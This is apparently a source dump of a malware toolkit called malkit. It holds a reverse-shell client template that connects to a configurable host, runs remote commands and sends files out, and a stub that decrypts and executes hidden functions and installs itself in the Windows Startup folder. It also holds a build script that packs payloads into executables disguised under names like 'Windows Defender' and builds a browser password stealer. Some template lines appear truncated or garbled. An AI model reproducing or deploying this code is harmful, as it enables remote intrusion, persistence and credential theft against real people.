7 | G:\My PC\Documents\Projects\Malware\malkit\templates\downloader\downloader\obj\test\downloader.TrustInfo.xml
8 | G:\My PC\Documents\Projects\Malware\malkit\templates\downloader\downloader\obj\test\downloader.exe.manifest
9 | G:\My PC\Documents\Projects\Malware\malkit\templates\downloader\downloader\obj\test\downloader.application
10 | G:\My PC\Documents\Projects\Malware\malkit\templates\downloader\downloader\obj\test\downloader.exe
11 | G:\My PC\Documents\Projects\Malware\malkit\templates\downloader\downloader\obj\test\downloader.csprojResolveAssemblyReference.cache
12 |
--------------------------------------------------------------------------------
/templates/downloader/downloader/obj/test/downloader.csproj.GenerateResource.Cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/darkarp/malkit/4246da7013f268e3791223dfc7555f3e4413cece/templates/downloader/downloader/obj/test/downloader.csproj.GenerateResource.Cache
--------------------------------------------------------------------------------
/templates/downloader/downloader/obj/test/downloader.csprojAssemblyReference.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/darkarp/malkit/4246da7013f268e3791223dfc7555f3e4413cece/templates/downloader/downloader/obj/test/downloader.csprojAssemblyReference.cache
--------------------------------------------------------------------------------
/templates/downloader/downloader/obj/test/downloader.csprojResolveAssemblyReference.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/darkarp/malkit/4246da7013f268e3791223dfc7555f3e4413cece/templates/downloader/downloader/obj/test/downloader.csprojResolveAssemblyReference.cache
--------------------------------------------------------------------------------
/templates/downloader/downloader/obj/test/downloader.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/darkarp/malkit/4246da7013f268e3791223dfc7555f3e4413cece/templates/downloader/downloader/obj/test/downloader.exe
--------------------------------------------------------------------------------
/templates/downloader/downloader/obj/test/downloader.exe.manifest:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 | 0Wlgzow6EgXJkcDEyRO271HG15FeDn9JSHTNMyB3D/8=
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 | gL1N9fr0PVIxABKd2DAIOyRI6EHqH07vC9zYE5glNwQ=
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 | n2ubii0g2CR09hnMQWupOndkplZpYELk314Hs7bQeDQ=
73 |
74 |
75 |
76 |
77 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
--------------------------------------------------------------------------------
/templates/errors/MB_OK.mtemp:
--------------------------------------------------------------------------------
1 | MB_OK = 0x00
2 | MB_ICONSTOP = 0x10
3 | ctypes.windll.user32.MessageBoxW(
4 | None, u'<>', u'<>', MB_OK | MB_ICONSTOP)
5 |
--------------------------------------------------------------------------------
/templates/malware.mtemp:
--------------------------------------------------------------------------------
1 | def wrapper():
2 | connected = False
3 | def transfer(s, path):
4 | if os.path.exists(path):
5 | with open(path, 'rb') as f:
6 | packet = f.read(1024)
7 | while len(packet) > 0:
8 | s.send(packet)
9 | packet = f.read(1024)
10 | s.send('DONE'.encode())
11 | else:
12 | s.send('File not found'.encode())
13 | def connect():
14 | global connected
15 | try:
16 | target_host = <>
17 | target_port = <>
18 | client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
19 | #client.settimeout(<>)
20 | client.connect((target_host,target_port))
21 | connected = True
22 | reset = False
23 | while True:
24 | data = client.recv(1024)
25 | if not data:
26 | connected = False
27 | break
28 | if data.decode().replace(' ', '').encode() == b'\n':
29 | continue
30 | if data[:2].decode() == 'cd':
31 | try:
32 | os.chdir(data[3:].decode())
33 | cd_string = f"Changed Directory to: {os.getcwd()}"
34 | except:
35 | cd_string = f"Directory not found: {os.getcwd()}"
36 | cd_string += "CDDONE"
37 | client.send(cd_string.encode())
38 | continue
39 | elif data[:9].decode() == '>, <>)
66 | time.sleep(int(sleep_for))
67 | try:
68 | connect()
69 | except:
70 | pass
--------------------------------------------------------------------------------
/templates/stub.mtemp:
--------------------------------------------------------------------------------
1 | try:
2 | from _malkit import genpayload
3 | except Exception as e:
4 | print(e)
5 | pass
6 |
7 | from _malkit import identifiers
8 | import sys
9 | from os import getenv
10 | import os
11 | import socket
12 | import subprocess
13 | from threading import Thread
14 | import time
15 | import random
16 | from shutil import copyfile
17 |
18 | def encrypt_file(name):
19 | instance = identifiers.Malware(name)
20 | instance.encrypt_file()
21 |
22 |
23 | def getInstance(name):
24 |
25 | instance = identifiers.Malware(name)
26 | return instance
27 |
28 |
29 | def load_func(instance: identifiers.Malware, func_name: str):
30 | instance.decrypt_file()
31 | test_func = instance.getFunc(func_name)
32 | test_func.code_decrypt()
33 | #print(test_func.code)
34 | instance.runtime_encrypt()
35 | return test_func.code
36 |
37 | def run_func(instance: identifiers.Malware, func_name: str, params=None):
38 | try:
39 | exec(load_func(instance, func_name), globals())
40 | if params:
41 | globals()[f"{func_name}"](*params)
42 | else:
43 | globals()[f"{func_name}"]()
44 | del globals()[f"{func_name}"]
45 | except Exception as Err:
46 | print(Err)
47 | return 0
48 | APPDATA = getenv('APPDATA')
49 | STARTUP = f"{APPDATA}\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"
50 | filename = "malware.py"
51 | instance_path = f"{APPDATA}\\{filename}"
52 | _instance = getInstance(instance_path)
53 |
54 | try_min = 0
55 | try_max = <>
56 |
57 | while try_min <= try_max:
58 | try:
59 | FUNCS = <>
60 | for FUNC in FUNCS:
61 | run_func(_instance, FUNC)
62 | except Exception as Err:
63 | print(Err)
64 | time.sleep(5)
65 |
66 |
--------------------------------------------------------------------------------
/testing/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/darkarp/malkit/4246da7013f268e3791223dfc7555f3e4413cece/testing/__init__.py
--------------------------------------------------------------------------------
/testing/build.py:
--------------------------------------------------------------------------------
1 | import sys
2 | import os
3 | import pexe37
4 | from distutils.core import setup
5 | import darkarp.malkit_modules.encrypt as encrypt
6 | from shutil import rmtree
7 | from threading import Thread
8 | import time
9 |
10 |
11 | def exebuild(target, include, output, icon="icon.ico"):
12 | try:
13 | includes = []
14 | if len(include) > 0:
15 | includes = [f'{include}']
16 | sys.argv.append("pexe37")
17 | setup(
18 | options={
19 | "pexe37": {
20 | "bundle_files": 1,
21 | "optimize": 2,
22 | "excludes": [
23 | "doctest",
24 | "pdb",
25 | "unittest",
26 | "difflib",
27 |
28 |
29 | ],
30 |
31 | "dll_excludes": ["msvcr71.dll", "Crypt32.dll", "tcl85.dll", "tk85.dll", "libcrypto-1_1-x64.dll"],
32 | "includes": includes,
33 | },
34 |
35 | },
36 | zipfile=None,
37 | console=[{
38 | "script": target,
39 | "icon_resources": [(1, icon)]
40 | }]
41 |
42 | )
43 | except BaseException as e:
44 | print("[+] polymorphism")
45 | if os.path.exists(f"{output}.exe"):
46 | os.remove(f"{output}.exe")
47 | os.rename(f"dist\\{target[:-3]}.exe", f"{output}.exe")
48 | rmtree("dist")
49 | return 0
50 |
51 |
52 | def get_payload(filename: str):
53 | encrypt_file(filename)
54 | payload = []
55 | for line in open(filename, "rb"):
56 | payload.append(line)
57 | payload = b''.join(payload)
58 | decrypt_file(filename)
59 | return payload
60 |
61 |
62 | def encrypt_file(filename: str):
63 | return print(encrypt.encrypt(filename=filename))
64 |
65 |
66 | def decrypt_file(filename: str):
67 | return print(encrypt.fully_decrypt(filename=filename))
68 |
69 |
70 | def gendie(filenames: list):
71 | for name in filenames:
72 | try:
73 | os.remove(f"{name}.py")
74 | except Exception as err:
75 | os.remove(f"{name}.exe")
76 | return 0
77 |
78 |
79 | def generate_payload(filename, destname, startup, icon="icons/icon.ico", modulename="_malkit"):
80 | payload = get_payload(filename)
81 | exepayload = exe_bytes(startup)
82 | start_str = "startups='" + str(startup) + "'\n"
83 | APPDATA = "APPDATA = getenv('APPDATA')\n"
84 | STARTUP = "STARTUP = f'{APPDATA}\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\{startups}.exe'\n"
85 | pyline = ""
86 | pyline += f"from os import getenv\n"
87 | pyline += start_str
88 | pyline += APPDATA
89 | pyline += STARTUP
90 | pyline += f"filename = 'malware.py'\n"
91 | pyline += "path2 = f'{APPDATA}\\\\{filename}'\n"
92 | pyline += f"payload = {payload}\n"
93 | pyline += f"exepayload = {exepayload}\n"
94 | pyline += f"with open(path2, 'wb') as f:\n"
95 | pyline += " f.write(payload)\n"
96 | pyline += f"with open(STARTUP, 'wb') as f:\n"
97 | pyline += " f.write(exepayload)"
98 | with open(f"_malkit/{destname}.py", "wb") as f:
99 | f.write(pyline.encode())
100 | return f"{modulename}"
101 |
102 |
103 | def exe_bytes(filename: str):
104 | bytelist = []
105 | for line in open(f"{filename}.exe", "rb"):
106 | bytelist.append(line)
107 | bytelist = b''.join(bytelist)
108 | return bytelist
109 |
110 |
111 | if __name__ == "__main__":
112 | # exebuild(target="stub.py", include='darkarp.malkit_modules.encrypt',
113 | # output='Windows Defender', icon="icons/icon2.ico")
114 | exebuild(target="chromepass.py", include='',
115 | output="chromepass", icon="icons/icon2.ico")
116 |
--------------------------------------------------------------------------------